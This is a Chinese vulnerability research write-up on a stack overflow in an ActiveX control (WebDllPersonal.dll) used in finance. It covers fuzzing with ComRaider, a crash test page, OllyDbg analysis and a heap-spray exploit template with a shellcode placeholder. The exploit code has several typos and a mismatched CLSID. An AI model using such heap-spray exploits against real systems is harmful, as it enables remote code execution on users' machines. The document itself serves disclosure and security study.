北京飞天诚信科技有限公司是国内一家知名的 IT 公司,该公司涉及的产品我以前听说过,在最近的一些安全测试中,我有幸再次接触到了该公司的产品,其中一些产品涉及到了金融方面。这一次在我的测试中的目标程序是一个叫做“WebDllPersonal.dll”的 ActiveX 控件。该控件是一个可以被浏览器加载的 ActiveX 控件,主要使用在金融 方 面 。 我 们 首 先 使 用 ComRaider 程 序 来 获 取 一 下“WebDllPersonal.dll”控件的信息,如图 1 所示。
从 图 1 中 我 们 看 到 该 控 件 注 册 了 6 个 外 部 接 口 , 即ChangeUserPin、GetCertSN、IsHaveInstalled、SotrePIN、VerifyUserPin、VerifyUserPin1。我们先来看一看 IsHaveInstalled 外部接口,它的函数原型为:
Sub IsHaveInstalled ( ByVal strProductName As String)
该接口只有一个参数,是一个字符串参数,所以我们可以测试一下该外部接口在处理过长的字符串时会不会出现溢出现象。
为了测试该外部接口,我们需要写一段测试网页代码,代码如下:
<object classid="clsid:6CF4C18B-D93D-4866-9A80-8E87AB491057" name="evil" ></object> <script> var a=Array(10000); evil.IsHaveInstalled(a); </script>
在上述这段网页代码中,我们设置了一个长度为 10000 个字节的变量 a,将该变量作为参数传递给了被测试外部接口 IsHaveInstalled,如此长的参数,不知道会出现什么效果。
保存该测试网页代码为 test.htm 文件,并且将该文件上传到我们的测试 Web 服务环境当中,现在打开浏览器,我这里使用的 IE6,被测试环境为 Windows XP SP3。在浏览器中输入 test.htm 的网址,回车访问。我们惊奇的发现,在我们回车的那一瞬间,浏览器崩溃了!
难道说,IsHaveInstalled真的存在严重的溢出漏洞?启动OllyDbg程序,利用该程序挂接 IE6 浏览器进程,我们需要知道在浏览器发生崩溃时,到底出现了什么错误。
现在重新访问 test.htm,我们终于看到了出现错误的原因,如图2 所示。
图 2 中显示的画面,我们可以说是常常见到,这是典型的溢出漏洞发生时的画面,此刻已经证明了漏洞的存在,我们借助 heapspray技术已经可以利用该漏洞了。但是,在此之前,我们还需要知道漏洞时怎么发生的。
重新运行 OllyDbg 程序,跳转到函数 DispCallFunc 部分,因为该函数是系统调用 ActiveX 控件的关键函数,所以在该函数上下断点我们就可以跟进出错的外部接口 IsHaveInstalled。在函数 DispCallFunc部分中,我们在该函数的第一次出现的 call ecx 指令下断点后,运行浏览器进程,同时访问 test.htm 网页,此刻,OllyDbg 发生了中断,如图 3 所示。
断点发生后,压 F7 键进入 IsHaveInstalled 函数,如图 4 所示。
在这个函数中,我们看到了一些敏感的字眼,其中“sub esp,104”是开辟一个栈空间,“104”即 260 个字节。这个有限的空间,却用来在后期装入我们传递的参数 a,难怪会发生溢出漏洞。现在知道了漏洞发生的原因,我们最后就可以利用该漏洞了,基本的利用代码如下所示。
<obect classid="clsid:8BE80FD3-B35E-CD48-1179-1B592DDEDDA7" name="evil" ></object> <script> ar heapSprayToAddress = 0x20202020; ar shellcode = unescape("这里放入 shellcode"); ar heapBlockSize = 0x400000; ar payLoadSize = shellcode.length * 2; var spraySlideSize = heapBlockSize - (payLoadSize+0x38); var spraySlide = unescape("%u0505%uebdf%uebdf"); sraySlide = getSpraySlide(spraySlide,spraySlideSize); heapBlocks = (heapSprayToAddress - 0x400000)/heapBlockSize; memory = new Array(); fr (i=0;i<heapBlocks;i++) { memory[i] = spraySlide + shellcode; } var a=Array(10000); evil.IsHaveInstalled(a); function getSpraySlide(spraySlide, spraySlideSize) { while (spraySlide.length*2<spraySlideSize) { spraySlide += spraySlide; } spraySlide = spraySlide.substring(0,spraySlideSize/2); return spraySlide; } </script>
本文为网络安全技术研究记录,文中技术研究环境为本地搭建或经过目标主体授权测试研究,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,在挖掘、提交相关漏洞的过程中,应严格遵守相关法律法规。